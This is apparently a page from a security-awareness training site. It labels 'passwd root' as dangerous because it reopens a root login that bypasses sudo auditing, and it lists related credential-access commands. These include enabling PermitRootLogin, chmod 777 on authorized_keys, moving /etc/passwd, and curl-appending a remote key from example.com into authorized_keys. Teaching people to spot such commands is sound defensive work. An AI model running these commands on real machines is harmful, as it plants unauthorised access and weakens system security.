Dangerous
passwd rootlinux · bash · Beginner
Sets a new password on the root account. On a system where root login is normally disabled in favour of sudo, giving root a password re-opens a direct login path that bypasses the sudo audit trail.
Signals to notice
- changes the credential of the most privileged account
- re-enables a login path that sudo-based administration deliberately closes
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert